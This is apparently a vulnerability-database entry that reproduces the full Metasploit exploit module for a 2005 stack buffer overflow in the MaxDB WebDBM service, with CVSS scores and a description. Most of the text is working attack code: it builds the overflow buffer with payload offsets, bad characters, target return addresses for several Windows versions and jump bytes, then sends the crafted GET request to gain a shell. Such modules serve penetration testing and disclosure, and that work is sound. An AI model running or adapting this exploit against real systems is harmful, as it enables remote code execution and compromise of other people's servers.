CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
AI Score
Confidence
Low
This module exploits a stack buffer overflow in the MaxDB WebDBM service. This service is included with many recent versions of the MaxDB and SAPDB products. This particular module is capable of exploiting Windows systems through the use of an SEH frame overwrite. The offset to the SEH frame may change depending on where MaxDB has been installed, this module assumes a web root path with the same length as: C:\Program Files\sdb\programs\web\Documents
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MaxDB WebDBM GET Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the MaxDB WebDBM
service. This service is included with many recent versions
of the MaxDB and SAPDB products. This particular module is
capable of exploiting Windows systems through the use of an
SEH frame overwrite. The offset to the SEH frame may change
depending on where MaxDB has been installed, this module
assumes a web root path with the same length as:
C:\Program Files\sdb\programs\web\Documents
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-0684'],
[ 'OSVDB', '15816'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=234&type=vulnerabilities'],
[ 'BID', '13368'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 2052,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['MaxDB 7.5.00.11 / 7.5.00.24', { 'Ret' => 0x1002aa19 }], # wapi.dll
['Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
['Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
['Windows 2003 English', { 'Ret' => 0x7ffc0638 }], # peb magic :-)
['Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
],
'DisclosureDate' => '2005-04-26',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9999)
])
end
def exploit
# Trigger the SEH by writing past the end of the page after
# the SEH is already overwritten. This avoids the other smashed
# pointer exceptions and goes straight to the payload.
buf = rand_text_alphanumeric(16384)
buf[1586, payload.encoded.length] = payload.encoded
buf[3638, 5] = "\xe9" + [-2052].pack('V')
buf[3643, 2] = "\xeb\xf9"
buf[3647, 4] = [target.ret].pack('V')
print_status("Trying target address 0x%.8x..." % target.ret)
send_request_raw({
'uri' => '/%' + buf
}, 5)
handler
end
end